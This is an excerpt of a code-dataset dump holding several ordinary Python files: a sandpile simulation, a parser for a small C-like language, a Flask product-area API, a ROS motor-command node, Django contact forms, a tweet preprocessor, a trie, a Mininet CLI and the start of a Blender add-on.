d\n grid[y][x] += -4\n d += 1\n if y == 0 and x == 0: #if in top left corner\n grid[y+1][x] += 1\n grid[y][x+1] += 1\n\n elif y == len(grid)-1 and x == 0: #if in bottom left corner\n grid[y-1][x] += 1\n grid[y][x+1] += 1\n\n elif x == len(grid)-1 and y == len(grid)-1: #if in bottom right corner\n grid[y-1][x] += 1\n grid[y][x-1] += 1 \n \n elif x == len(grid)-1 and y == 0: #if in top right corner\n grid[y+1][x] += 1\n grid[y][x-1] += 1\n\n \n elif y != 0 and x == 0 and y != len(grid)-1: #if in left border\n grid[y+1][x] += 1\n grid[y-1][x] += 1\n grid[y][x+1] += 1\n\n elif y == 0 and x != 0 and x != len(grid)-1: #if in top border\n grid[y+1][x] += 1\n grid[y][x+1] += 1\n grid[y][x-1] += 1\n \n elif y == len(grid)-1 and x != len(grid)-1 and x != 0: #if in bottom border\n grid[y-1][x] += 1\n grid[y][x+1] += 1\n grid[y][x-1] += 1\n\n elif y != len(grid)-1 and x == len(grid)-1 and y != 0: #if in right border\n grid[y+1][x] += 1\n grid[y-1][x] += 1\n grid[y][x-1] += 1\n \n else: #if not in any border or corner\n grid[y+1][x] += 1\n grid[y-1][x] += 1\n grid[y][x+1] += 1\n grid[y][x-1] += 1\n \ndef checkGrid(): #calculates changes in the grid\n global empLayer, size, d, sbs, depth, cacheX, cacheY\n cacheX = []\t#resets the list of cached x values for operation\n cacheY = []\t#resets the list of cached y values for operation\n for y in range(len(grid)):\n curLayer = copy.copy(grid[y])\t#Saves a copy of the y layer being checked to compare to an empty layer\n grid[y].pop(-1) \t\t#removes the '|' from the grid to check row so no error is given when using max()\n if curLayer != empLayer and max(grid[y]) >= 4: #checks if given y layer isn't empty AND if it contains a number greater than 4, if it is skip it\n grid[y].append('|')\t\t#re-adds the '|' to the end of grid so checkGrid() can still no the end of a y layer\n for x in range(len(grid)):\n try:\n if grid[y][x] >= 4:\n doCellOperations(y,x)\n if sbs == 'y':\n updateScreen()\n depth += 1\n\t\t\t\n\t\t\t#Saves the coordinate opperations were done on for later\n cacheX.append(x)\n cacheY.append(y)\n \n except:\n pass\n else: grid[y].append('|')\t#If layer was empty or couldn't be updated, re-adds the '|' to the y layer\n curlayer = []\t\t\t#Sets the curLayer to empty for next iteration of for() loop\n\t\n for cell in range(len(cacheX)):\t#checks all the coordinates in the cache if any previous update has caused a change.\n try:\n curX = cacheX[cell]\n curY = cacheY[cell]\n cacheX.pop(cell)\n cacheY.pop(cell)\n checkAdjacent(curY,curX)\n except: pass\n\t\ndef checkAdjacent(y,x):\t\t\t#Checks cells adjacent to given y,x cell and adds any changed cells to the cached list of cells\n global showProcess, nmethod, depth\n updates = 0\n depth += 1\n try:\n if grid[y+1][x] == 4 or grid[y+1][x] == 5:\n doCellOperations(y+1,x)\n updates += 1\n if sbs == 'y':\n updateScreen()\n cacheX.append(x)\n cacheY.append(y+1)\n except:pass\n try:\n if grid[y-1][x] == 4 or grid[y-1][x] == 5:\n doCellOperations(y-1,x)\n updates += 1\n if sbs == 'y':\n updateScreen()\n cacheX.append(x)\n cacheY.append(y-1)\n except:pass\n try:\n if grid[y][x+1] == 4 or grid[y][x+1] == 5:\n doCellOperations(y,x+1)\n updates += 1\n if sbs == 'y':\n updateScreen()\n cacheX.append(x+1)\n cacheY.append(y)\n except:pass\n try:\n if grid[y][x-1] == 4 or grid[y][x-1] == 5:\n doCellOperations(y,x-1)\n updates += 1\n if sbs == 'y':\n updateScreen()\n cacheX.append(x-1)\n cacheY.append(y)\n except:pass\n if nmethod == '1' and updates == 0:\n checkGrid()\n\n#Main functions------------------\ndef clr():\t#No longer used\n print('\\n'*1)\n\ndef updateScreen():\t#Draws using cachePen, clears myPen, then draws with myPen, then clears cachePen.\n global size\n drawGrid(500/size,'true',grid,cachePen)\n cachePen.getscreen().update()\n myPen.clear()\n drawGrid(500/size,'true',grid,myPen)\n cachePen.clear()\n myPen.getscreen().update()\n\ndef main():\n global size, cacheGrid, generation, n, nini, textBackground, startTime, method, d, nmethod, freq, depth\n generation += 1\n print(\"Printing % every\",freq,\"Generations\")\n cacheGrid = copy.deepcopy(grid) #caches the current grid, used to compare previous state of grid to current version\n addGrain()\n checkGrid()\n toppleList = []\n toppleList.append(d)\n text.clear()\n while cacheGrid != grid:\n global textColor, percent\n d = 0\n generation += 1\n if nmethod == '1':\n try:\n if float(generation/freq) == int(generation/freq): #if generation is divisible by freq, prints the percentage in idle and shows remaining grain in center\n print(round(100+(100*(((n-nini)/nini))), ndigits=3),'%', nini-n, ' grains remaining')\n if showProcess == 'y':\n updateScreen() \n except: #incase frequency is 0\n pass\n text.clear()\n text.penup()\n text.setheading(-90)\n text.forward(-50)\n turtle.bgcolor(textBackground)\n text.write(\"Generating\", False, align=\"center\", font=(\"Monaco\", 30, \"normal\"))\n text.forward(50)\n percent = round(100+(100*(((n-nini)/nini))), ndigits=3)\n percent = str(percent)+'%'\n text.pencolor(textColor)\n text.fillcolor(textColor)\n turtle.screensize(500,500)\n turtle.bgcolor(textBackground)\n text.write(percent, False, align=\"center\", font=(\"Monaco\", 30, \"normal\"))\n text.getscreen().update()\n \n elif nmethod == 'all':\n text.clear()\n text.penup()\n text.setheading(-90)\n text.forward(-50)\n turtle.bgcolor(textBackground)\n text.write(\"Generating\", False, align=\"center\", font=(\"Monaco\", 30, \"normal\"))\n text.forward(50)\n percent = (\"Generation: \"+str(generation))\n text.pencolor(textColor)\n text.fillcolor(textColor)\n turtle.screensize(500,500)\n turtle.bgcolor(textBackground)\n text.write(percent, False, align=\"center\", font=(\"Monaco\", 30, \"normal\"))\n text.getscreen().update()\n try:\n if float(generation/(freq/2)) == int(generation/(freq/2)) and showProcess == 'y':\n print(\"Generation:\",generation)\n elif float(generation/(freq)) == int(generation/(freq)) and showProcess == 'n':\n print(\"Generation:\",generation)\n if float(generation/freq) == int(generation/freq): \n if showProcess == 'y':\n updateScreen()\n except: pass\n \n cacheGrid = copy.deepcopy(grid)\n addGrain()\n depth = 0\n checkGrid()\n toppleList.append(d)\n\n calcTime = round(time.time()-startTime,ndigits=2)\n print('\\nFinished! \\n(Took %s seconds)\\n' % str(calcTime))\n \n #prints 'drawing' in turtle window\n text.pencolor(textColor) \n text.fillcolor(textColor)\n text.clear()\n turtle.bgcolor(textBackground)\n turtle.screensize(500,500)\n text.write(\"Drawing\", False, align=\"center\", font=(\"Monaco\", 30, \"normal\"))\n text.getscreen().update()\n text.penup()\n text.forward(-250)\n text.setheading(90)\n text.forward(250)\n text.setheading(0)\n print(\"Drawing...\")\n\t\n #Draws final grid in turtle window\n updateScreen()\n turtle.bgcolor(textBackground)\n drawTime = round((time.time()-startTime)-calcTime,ndigits=2)\n print(\"Complete! \")\n text.clear()\n turtle.update()\n myPen.getscreen().update()\n print(\"KEY: \\n Black: 0, \\n Light Blue: 1, \\n Purple: 2, \\n Red: 3+ \\n\")\n print(\"Ran for \", generation, \" Generations before stabilizing\")\n sumGrid = 0\n for p in range(size):\t#Adds all grains in the grid together, used to measure final amount of sand (May be smaller than n if too much sand was added)\n for l in range(size):\n try: sumGrid += grid[p][l]\n except: pass\n print(\"Stats: \\n \", sumGrid,\"Sand grains \\n \", size,'x',size,\"Grid\")\n print(\"Sandpile took total of %s seconds\" %str(round(calcTime+drawTime,ndigits=2)))\n print(\"--Generated in %s seconds\" %str(calcTime))\n print(\"--Rendered in %s seconds\" %str(drawTime))\n print()\n input('Press ENTER to print list of topple history sorted by generation')\n print('List of topples by generation: \\n', toppleList)\n\nstartTime = time.time()\nprint(\"Going through the steps \\n\")\nmain()\n","sub_path":"AbeSandpileV6.24.py","file_name":"AbeSandpileV6.24.py","file_ext":"py","file_size_in_byte":23178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"3693894","text":"from Token import*\nfrom AST import*\n\n\nclass Parser():\n def __init__(self,lex):\n self.lex = lex\n self.currentToken = self.lex.get_next_token()\n\n def eat(self,expect_type):\n if(self.currentToken.type != expect_type):\n self.error()\n self.currentToken = self.lex.get_next_token()\n \n def error(self):\n raise Exception('Unexpected Token{token}'.format(token = self.currentToken))\n \n def parser(self):\n return self.program()\n \n def program(self):\n function_list = []\n while(self.currentToken.type != TokenType.EOF):\n function_list.append(self.function_decl())\n # function = function_list[-1]\n # print(\"function:{name}, type :{type}\".format(name = function.name, type = function.type))\n # main_function = [fun for fun in functions_list if fun.name == 'main']\n # if(main_function == []):\n # self.error()\n return Program(function_list)\n\n def function_decl(self):\n func_type = self.type_spec().value\n func_name = self.variable().value\n func_params = self.params()\n func_body = self.code_block()\n return Function(func_type, func_name, func_params, func_body)\n\n def return_decl(self):\n self.eat(TokenType.RETURN)\n expr = self.expr()\n self.eat(TokenType.SEMI)\n return Return(expr)\n\n def params(self):\n result = []\n self.eat(TokenType.LPAREN)\n if(self.currentToken.type == TokenType.RPAREN):\n self.eat(TokenType.RPAREN)\n return result\n while(True):\n param_type = self.type_spec()\n param = self.variable()\n result.append(Param(param,param_type))\n if(self.currentToken.type == TokenType.RPAREN):\n break\n self.eat(TokenType.COMMA)\n self.eat(TokenType.RPAREN)\n return result\n\n def code_block(self):\n self.eat(TokenType.LBRACE)\n #FIXME: 然后呢?????\n declarations = self.declarations()\n compound_statement = self.compound_statement()\n self.eat(TokenType.RBRACE)\n return Code_Block(declarations,compound_statement)\n\n def declarations(self):\n result = []\n while(self.currentToken.type in (TokenType.INT, TokenType.REAL, TokenType.CHAR, TokenType.BOOL)):\n result.extend(self.var_decl())\n self.eat(TokenType.SEMI)\n return result\n\n def var_decl(self):#FIXME:\n var_type = self.type_spec()\n decl_list = []\n while(True):\n name = self.variable()\n if(self.currentToken.type == TokenType.LBRACKET):\n self.eat(TokenType.LBRACKET)\n expr = self.expr()\n self.eat(TokenType.RBRACKET)\n decl_list.append(Array_decl(name,var_type,expr))\n else:\n decl_list.append(Var_decl(name,var_type))\n if(self.currentToken.type == TokenType.SEMI):\n break\n self.eat(TokenType.COMMA)\n return decl_list\n\n def array(self):\n name = self.variable()\n self.eat(TokenType.LBRACKET)\n index = self.expr()\n self.eat(TokenType.RBRACKET)\n return Array(name,index)\n\n def type_spec(self):\n if(self.currentToken.type == TokenType.INT):\n result = Type(self.currentToken)\n self.eat(TokenType.INT)\n return result\n elif(self.currentToken.type == TokenType.CHAR):\n result = Type(self.currentToken)\n self.eat(TokenType.CHAR)\n return result\n elif(self.currentToken.type == TokenType.VOID):\n result = Type(self.currentToken)\n self.eat(TokenType.VOID)\n return result\n elif(self.currentToken.type == TokenType.BOOL):\n result = Type(self.currentToken)\n self.eat(TokenType.BOOL)\n return result\n else:\n result = Type(self.currentToken)\n self.eat(TokenType.REAL)\n return result\n\n def variable(self):\n var = self.currentToken\n self.eat(TokenType.ID)\n res = Var(var)\n return res\n\n def compound_statement(self):#FIXME:\n statement_list = []\n while(self.currentToken.type in (\n TokenType.ID, TokenType.RETURN, TokenType.IF,\n TokenType.WHILE, TokenType.FOR,TokenType.BREAK, TokenType.CONTINUE\n )):\n statement_list.append(self.statement())\n return statement_list\n\n def statement(self):\n result = None\n if(self.currentToken.type == TokenType.ID):\n if(self.lex.currentChar == '('):\n result = self.function_call()\n self.eat(TokenType.SEMI)\n else:\n result = self.assign()\n self.eat(TokenType.SEMI)\n elif(self.currentToken.type == TokenType.BREAK):\n result = Break()\n self.eat(TokenType.BREAK)\n self.eat(TokenType.SEMI)\n elif(self.currentToken.type == TokenType.CONTINUE):\n result = Continue()\n self.eat(TokenType.CONTINUE)\n self.eat(TokenType.SEMI)\n elif(self.currentToken.type == TokenType.RETURN):\n result = self.return_decl()\n elif(self.currentToken.type == TokenType.IF):\n result = self.if_decl()\n elif(self.currentToken.type == TokenType.WHILE):\n result = self.while_loop()\n elif(self.currentToken.type == TokenType.FOR):\n result = self.for_loop()\n return result\n\n def assign(self):\n left = None\n if(self.lex.currentChar == '['):\n left = self.array()\n else:\n left = self.variable()\n self.eat(TokenType.EQUAL)\n right = self.expr()\n # self.eat(TokenType.SEMI)\n return Assign(left, right)\n\n def function_call(self):\n function_name = self.variable().value\n params = []\n self.eat(TokenType.LPAREN)\n if(self.currentToken.type != TokenType.RPAREN):\n params = self.real_param_list()\n self.eat(TokenType.RPAREN)\n return Function_call(function_name,params)\n\n def real_param_list(self):\n params = [self.expr()]\n while(self.currentToken.type == TokenType.COMMA):\n self.eat(TokenType.COMMA)\n params.append(self.expr())\n return params\n\n def if_decl(self):#FIXME:\n self.eat(TokenType.IF)\n self.eat(TokenType.LPAREN)\n expr = self.expr()\n self.eat(TokenType.RPAREN)\n block = else_block = None\n\n if(self.currentToken.type == TokenType.LBRACE):\n block = self.block()\n else:\n block = self.statement()\n\n if(self.currentToken.type == TokenType.ELSE):\n self.eat(TokenType.ELSE)\n if(self.currentToken.type == TokenType.LBRACE):\n else_block = self.block()\n else:\n else_block = self.statement()\n \n return If(expr,block,else_block)\n \n\n def for_loop(self):#FIXME:\n self.eat(TokenType.FOR)\n self.eat(TokenType.LPAREN)\n assign1 = expr = assign2 = None\n if(self.currentToken.type != TokenType.SEMI):\n assign1 = self.assign()\n self.eat(TokenType.SEMI)\n if(self.currentToken.type != TokenType.SEMI):\n expr = self.expr()\n self.eat(TokenType.SEMI)\n if(self.currentToken.type != TokenType.SEMI):\n assign2 = self.assign()\n self.eat(TokenType.RPAREN)\n block = self.block()\n return For(assign1,expr,assign2,block)\n\n def while_loop(self):\n self.eat(TokenType.WHILE)\n self.eat(TokenType.LPAREN)\n expr = self.expr()\n self.eat(TokenType.RPAREN)\n block = self.block()\n return While(expr,block)\n\n def block(self):#FIXME:\n self.eat(TokenType.LBRACE)\n compound_statement = self.compound_statement()\n self.eat(TokenType.RBRACE)\n return Block(compound_statement)\n\n def expr(self):\n node = self.level_2()\n while(self.currentToken.type == TokenType.BOR):\n op = self.currentToken\n self.eat(TokenType.BOR)\n node = BinOp(node, self.level_2(), op)\n return node\n\n def level_2(self):\n node = self.level_3()\n while(self.currentToken.type == TokenType.BAND):\n op = self.currentToken\n self.eat(TokenType.BAND)\n node = BinOp(node, self.level_3(), op)\n return node\n \n def level_3(self):\n node = self.level_4()\n while(self.currentToken.type == TokenType.OR):\n op = self.currentToken\n self.eat(TokenType.OR)\n node = BinOp(node, self.level_4(), op)\n return node\n\n def level_4(self):\n node = self.level_5()\n while(self.currentToken.type == TokenType.XOR):\n op = self.currentToken\n self.eat(TokenType.XOR)\n node = BinOp(node, self.level_5(), op)\n return node\n\n def level_5(self):\n node = self.level_6()\n while(self.currentToken.type == TokenType.AND):\n op = self.currentToken\n self.eat(TokenType.AND)\n node = BinOp(node, self.level_6(), op)\n return node\n\n def level_6(self):\n node = self.level_7()\n op_list = [\n TokenType.BEQUAL,TokenType.NEQUAL,TokenType.GREATE,TokenType.GE,TokenType.LESS,TokenType.LE\n ]\n if(self.currentToken.type in op_list):\n op = self.currentToken\n self.eat(op.type)#FIXME:\n node = BinOp(node, self.level_7(), op)\n return node\n\n def level_7(self):\n node = self.level_8()\n while(self.currentToken.type in (TokenType.PLUS, TokenType.MINUS)):\n op = self.currentToken\n if(op.type == TokenType.PLUS):\n self.eat(TokenType.PLUS)\n else:\n self.eat(TokenType.MINUS)\n node = BinOp(node, self.level_8(), op)\n return node\n\n def level_8(self):\n node = self.factor()\n while(self.currentToken.type in (TokenType.MULIT, TokenType.DIVES, TokenType.MOD)):\n op = self.currentToken\n if(op.type == TokenType.MULIT):\n self.eat(TokenType.MULIT)\n elif(op.type == TokenType.DIVES):\n self.eat(TokenType.DIVES)\n else:\n self.eat(TokenType.MOD)\n node = BinOp(node,self.factor(),op)\n return node\n\n # def level_9(self):\n # node = self.factor()\n # while(self.currentToken.type in (TokenType.NOT, TokenType.BNOT)):\n # op = self.currentToken\n # if(op.type == TokenType.NOT):\n # self.eat(TokenType.NOT)\n # else:\n # self.eat(TokenType.BNOT)\n # node = BinOp(node, self.factor(), op)\n # return node\n\n def factor(self):\n if(self.currentToken.type == TokenType.LPAREN):\n self.eat(TokenType.LPAREN)\n node = self.expr()\n self.eat(TokenType.RPAREN)\n return node\n elif(self.currentToken.type in (TokenType.PLUS, TokenType.MINUS)):\n op = self.currentToken\n if(op.type == TokenType.PLUS):\n self.eat(TokenType.PLUS)\n else:\n self.eat(TokenType.MINUS)\n expr = self.expr()\n node = UnaryOp(expr, op)\n return node\n elif(self.currentToken.type in (TokenType.NOT, TokenType.BNOT)):\n op = self.currentToken\n if(op.type == TokenType.NOT):\n self.eat(TokenType.NOT)\n else:\n self.eat(TokenType.BNOT)\n expr = self.expr()\n node = UnaryOp(expr, op)\n return node\n elif(self.currentToken.type == TokenType.ID):\n if(self.lex.currentChar == '('):\n return self.function_call()#?????????????????????????\n if(self.lex.currentChar == '['):\n node = self.array()\n else:\n node = self.variable()\n return node\n else:\n node = Num(self.currentToken)\n if(self.currentToken.type == TokenType.INTEGER_CONST):\n self.eat(TokenType.INTEGER_CONST)\n else:\n self.eat(TokenType.REAL_CONST)\n return node\n self.error()","sub_path":"Parser.py","file_name":"Parser.py","file_ext":"py","file_size_in_byte":12509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"602103448","text":"from flask_sqlalchemy import SQLAlchemy\t\nfrom models import ProductArea\n\n#This file contians the functions that compose the Product Area API \n\n\"\"\"\n\tThe getProductAreas function, doesn't take any parameters.\n\tthe ProductArea.query.all() returns a list of all the ProductAreas in the ProductArea table \n\tthe serialize function turns an instance of the ProductArea object into a list with all it's attributes\n\tthis list is appended by the listOfProductAreas and the list of lists is returned by the function.\n\"\"\"\ndef getProductAreas():\n\tlistOfProductAreas = []\n\tlistOfProductAreas = [i.serialize for i in ProductArea.query.all()]\n\treturn listOfProductAreas\n\n\n\"\"\"\n\tThe deleteProductAreas receives the id and a database session.\n\tIt's a simple function that queries the database to find which element has the id and then delete it\n\tit returns false if there was an error or true if there wasn't\n\"\"\"\ndef deleteProductAreas(id,db_cursor):\n\tcursor = db_cursor\n\n\ttry:\n\t\tProductArea.query.filter_by(id=id).delete()\n\t\tcursor.commit()\n\texcept Exception as e:\n\t\tprint(\"[ERROR] Something went wrong.\")\n\t\tprint(e)\n\t\treturn False\n\telse:\n\t\treturn True\t\n\n\"\"\"\n\tThe addProductAreas receives the name of the area as product_area and the database session.\n\tThe function creates a ProductArea object and adds it to the database\n\tit returns false if there was an error or true if there wasn't\n\"\"\"\ndef addProductAreas(product_area, db_cursor):\t\t\t\t\t\t\t\t\n\tcursor = db_cursor\n\n\ttry:\n\t\tproductArea = ProductArea(product_area)\n\t\tcursor.add(productArea)\n\t\tcursor.commit()\n\texcept Exception as e:\n\t\tprint(\"[ERROR] Something went wrong.\")\n\t\tprint(e)\n\t\treturn False\n\telse:\n\t\treturn True\t\t\t\t\t","sub_path":"Backend/product_area_api.py","file_name":"product_area_api.py","file_ext":"py","file_size_in_byte":1656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"495329990","text":"#!/usr/bin/env python\nimport rospy\nimport roslib\nfrom std_msgs.msg import Int16\nfrom std_msgs.msg import Float64\nfrom geometry_msgs.msg import Twist \n\nclass TwistToMotors():\n\n\tdef __init__(self):\n\t\trospy.init_node(\"twist_to_motCmd\")\n\t\tnodename = rospy.get_name()\n\t\trospy.loginfo(\"%s started\" % nodename)\n\n\t\tself.pub_lmotor = rospy.Publisher('lwheel_vtarget', Int16, queue_size=100)\t#topic read by motors\n\t\tself.pub_rmotor = rospy.Publisher('rwheel_vtarget', Int16, queue_size=100)\t#topic read by motors\n\n\t\trospy.Subscriber('/lwheel_pid', Float64, self.lwheelCallback)\t#voltage control\n\t\trospy.Subscriber('/rwheel_pid', Float64, self.rwheelCallback)\t#voltage control\n\n\t\tself.rate = rospy.get_param(\"~rate\", 30)\n\t\tself.timeout_ticks = rospy.get_param(\"~timeout_ticks\", 2)\n\n\t\tself.left = 0\n\t\tself.right = 0\n\t\tself.lwheel_pid = 0\n\t\tself.rwheel_pid = 0\n\t\tself.lpwm_cmd = 0\n\t\tself.rpwm_cmd = 0\n\n\tdef spin(self):\n\t\tr = rospy.Rate(self.rate)\n\t\tidle = rospy.Rate(30)\n\t\tthen = rospy.Time.now()\n\t\tself.ticks_since_target = self.timeout_ticks\n\t\twhile not rospy.is_shutdown():\n\t\t\tself.lpwm_cmd = int(self.lwheel_pid * 64)\n\t\t\tself.rpwm_cmd = int(self.rwheel_pid * 64)\n\t\t\tself.right = int( 64 + self.rpwm_cmd)\n\t\t\tself.left = int( 192 + self.lpwm_cmd)\n\t\t\tself.pub_lmotor.publish(self.left)\n\t\t\tself.pub_rmotor.publish(self.right)\n\t\t\twhile not rospy.is_shutdown() and self.ticks_since_target < self.timeout_ticks:\n\t\t\t\tself.spinOnce()\n\t\t\t\tr.sleep()\n\t\t\tidle.sleep()\n\t\t\t\n\n\tdef spinOnce(self):\n\t\tself.ticks_since_target += 1\n\n\tdef lwheelCallback(self,msg):\n\t\tglobal lwheel_pid\n\t\tself.lwheel_pid = msg.data\n\n\tdef rwheelCallback(self,msg):\n\t\tglobal rwheel_pid\n\t\tself.rwheel_pid = msg.data\n\t\t\n\nif __name__ == '__main__':\n\t\"\"\" main \"\"\"\n\ttwistToMotors = TwistToMotors()\n\ttwistToMotors.spin()\n","sub_path":"motor_cmd/src/twist_to_motCmd.py","file_name":"twist_to_motCmd.py","file_ext":"py","file_size_in_byte":1765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"638897883","text":"from __future__ import absolute_import\nfrom django import forms\nfrom . import models\nfrom crispy_forms.helper import FormHelper\nfrom crispy_forms.layout import Layout, ButtonHolder, Submit\n\n\nclass ContactForm(forms.ModelForm):\n class Meta:\n \tmodel = models.Contact\n \tfields = ['first_name', 'last_name', 'email_id', 'mobile_number']\n\n def __init__(self, *args, **kwargs):\n \tsuper(ContactForm, self).__init__(*args, **kwargs)\n \tself.helper = FormHelper()\n \tself.helper.layout = Layout(\n \t\t'first_name',\n \t\t'last_name',\n \t\t'email_id',\n \t\t'mobile_number',\n \t\tButtonHolder(\n \t\t\tSubmit('create','Create')\n \t\t)\n \t)\n\nclass HomeForm(forms.ModelForm):\n class Meta:\n model = models.HomeContact\n fields = ['telephone_number','city','address']\n \n\n def __init__(self,*args,**kwargs):\n super(HomeForm, self).__init__(*args, **kwargs)\n self.helper = FormHelper()\n self.helper.layout = Layout(\n 'telephone_number',\n 'city',\n 'address',\n ButtonHolder(\n Submit('create','Create')\n )\n )\nclass SocialForm(forms.ModelForm):\n class Meta:\n model = models.SocialContact\n fields = ['social_site','detail']\n \n\n def __init__(self,*args,**kwargs):\n super(SocialForm, self).__init__(*args, **kwargs)\n self.helper = FormHelper()\n self.helper.layout = Layout(\n 'social_site',\n 'detail',\n ButtonHolder(\n Submit('create','Create')\n )\n )\n\nclass OfficeForm(forms.ModelForm):\n class Meta:\n model = models.OfficeContact\n fields = ['company','email_id','telephone_number','designation','address']\n \n\n def __init__(self,*args,**kwargs):\n super(OfficeForm, self).__init__(*args, **kwargs)\n self.helper = FormHelper()\n self.helper.layout = Layout(\n 'company',\n 'email_id',\n 'telephone_number',\n 'designation',\n 'address',\n ButtonHolder(\n Submit('create','Create')\n )\n )\n\n\nclass OtherForm(forms.ModelForm):\n class Meta:\n model = models.OtherContact\n fields = ['name','details',]\n \n\n def __init__(self,*args,**kwargs):\n super(OtherForm, self).__init__(*args, **kwargs)\n self.helper = FormHelper()\n self.helper.layout = Layout(\n 'name',\n 'details',\n ButtonHolder(\n Submit('create','Create')\n )\n )\n","sub_path":"contactapp/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"328392120","text":"from mininet.cli import CLI\nfrom mininet.log import output\n\nclass CCNxCLI(CLI):\n\n prompt = 'miniccnx> '\n\n def do_ccndump(self, _line):\n \"Dump FIB entries\"\n for node in self.mn.values():\n if 'fib' in node.params:\n output(node.name + ': ')\n for name in node.params['fib']:\n output(str(name) + ' ')\n output('\\n')\n\n","sub_path":"ccnxmn/CCN_cli.py","file_name":"CCN_cli.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"649179337","text":"import nltk\nfrom nltk.stem import PorterStemmer\nfrom nltk.corpus import stopwords\nimport re\n\n#preprocessing data\ndef preprocess(post):\n word_remove = []\n post = re.sub(\"[^a-zA-Z@ ]\",\"\",post) #substitute non-alphabets with spaces\n post = post.lower()\n\n #tokenization\n post_words = post.split()\n\n #remove username\n for word in post_words:\n if word[0] == '@':\n word_remove.append(word)\n for word in word_remove:\n post_words.remove(word)\n\n #removes url\n for word in post_words:\n if \"http\" in word:\n post_words.remove(word)\n\n #word stemming\n stemmer = nltk.PorterStemmer()\n for word in post_words:\n try:\n word = stemmer.stem(word)\n except Exception as e:\n pass\n\n #stop word removal\n stop_words = stopwords.words('english')\n for word in post_words:\n if word in stop_words:\n post_words.remove(word)\n\n #removing repeated letters\n for i in range(0,len(post_words)):\n temp = \"\"\n count = 0\n for j in range(0,len(post_words[i])-1):\n if(post_words[i][j] == post_words[i][j+1]):\n count = count+1\n else:\n count = 0\n if(count<2):\n temp = temp+post_words[i][j]\n temp = temp+post_words[i][-1]\n post_words[i] = temp\n\n return post_words\n\n#post = \"@switchfoot http://twitpic.com/2y1zl - Awww, that's a bummer. You shoulda got David Carr of Third Day to do it. ;D\"\n\n#post = preprocess(post)\n#print post\n","sub_path":"Code_twitter/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":1543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"102810041","text":"from typing import Optional\n\n\nclass Node:\n def __init__(self, letter=Optional[str]):\n self.letter = letter\n self.children = {} # type: dict[str, 'Node']\n self.valid_word = False\n\n def add_child(self, node: 'Node'):\n self.children[node.letter] = node\n\n def has_child(self, letter: str):\n return True if letter in self.children else False\n\n def get_child(self, letter: str):\n return self.children[letter] if letter in self.children else None\n\n\nclass Trie:\n def __init__(self):\n \"\"\"\n Initialize your data structure here.\n \"\"\"\n self.root = Node()\n self.length = 0\n\n def insert(self, word: str) -> None:\n \"\"\"\n Inserts a word into the trie.\n \"\"\"\n current_node = self.root\n for char in word:\n child_node = current_node.get_child(char)\n if child_node is not None:\n current_node = child_node\n else:\n new_node = Node(char)\n current_node.add_child(new_node)\n current_node = new_node\n current_node.valid_word = True\n\n def search(self, word: str) -> bool:\n \"\"\"\n Returns if the word is in the trie.\n \"\"\"\n current_node = self.root\n for char in word:\n child_node = current_node.get_child(char)\n if child_node is None:\n return False\n else:\n current_node = child_node\n\n if current_node.valid_word:\n return True\n else:\n return False\n\n def startsWith(self, prefix: str) -> bool:\n \"\"\"\n Returns if there is any word in the trie that starts with the given prefix.\n \"\"\"\n current_node = self.root\n for char in prefix:\n child_node = current_node.get_child(char)\n if child_node is None:\n return False\n else:\n current_node = child_node\n return True\n\n\ndef pretty(some_node, indent=0):\n seperator = ['└──'] if indent > 0 else ['']\n for _ in range(indent - 1):\n seperator.insert(0, ' ')\n seperator = ''.join(seperator)\n\n for letter, node in some_node.children.items():\n valid_indicator = '*' if node.valid_word else ''\n print(seperator + str(letter.upper()) + valid_indicator)\n if isinstance(node, Node):\n pretty(node, indent+1)\n\n\nif __name__ == '__main__':\n t = Trie()\n t.insert('hello')\n t.insert('hell')\n t.insert('help')\n t.insert('ace')\n t.insert('held')\n t.insert('hold')\n pretty(t.root)\n","sub_path":"create_a_trie.py","file_name":"create_a_trie.py","file_ext":"py","file_size_in_byte":2623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"45919353","text":"# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful, but\n# WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTIBILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n# General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n\nimport bpy\nfrom .op_cube import *\nfrom .op_cylinder import *\nfrom .op_sphere import *\n\n\nbl_info = {\n \"name\": \"QBlocker\",\n \"author\": \"Balazs Szeleczki\",\n \"version\": (0, 1, 2),\n \"description\": \"\",\n \"blender\": (2, 80, 0),\n \"location\": \"View3D > Add > QBlocker\",\n \"warning\": \"\",\n \"category\": \"Learnbgame\",\n}\n\n\nclass QBlockerAddonPreferences(bpy.types.AddonPreferences):\n bl_idname = __package__\n\n mouse_enum : bpy.props.EnumProperty(\n name=\"select mouse\",\n items=(\n ('LEFT', 'Left', \"\"),\n ('RIGHT', 'Right', \"\")\n ),\n default='LEFT',\n )\n\n snap_enum : bpy.props.EnumProperty(\n name=\"Snap behaviour\",\n items=(\n ('HOLD', 'Hold', \"\"),\n ('TOGGLE', 'Toggle', \"\")\n ),\n default='HOLD',\n )\n\n axis_bool : bpy.props.BoolProperty(\n name=\"Show orientation axis\",\n description=\"Show axis while moving mouse in view\",\n default = True\n ) \n\n def draw(self, context):\n layout = self.layout\n layout.label(text=\"Active mouse button for the addon:\")\n layout.row().prop(self, \"mouse_enum\", expand=True)\n layout.label(text=\"Set Snap key behaviour:\")\n layout.row().prop(self, \"snap_enum\", expand=True)\n layout.row().prop(self, \"axis_bool\", expand=True)\n\n\n# right click menu button\nclass 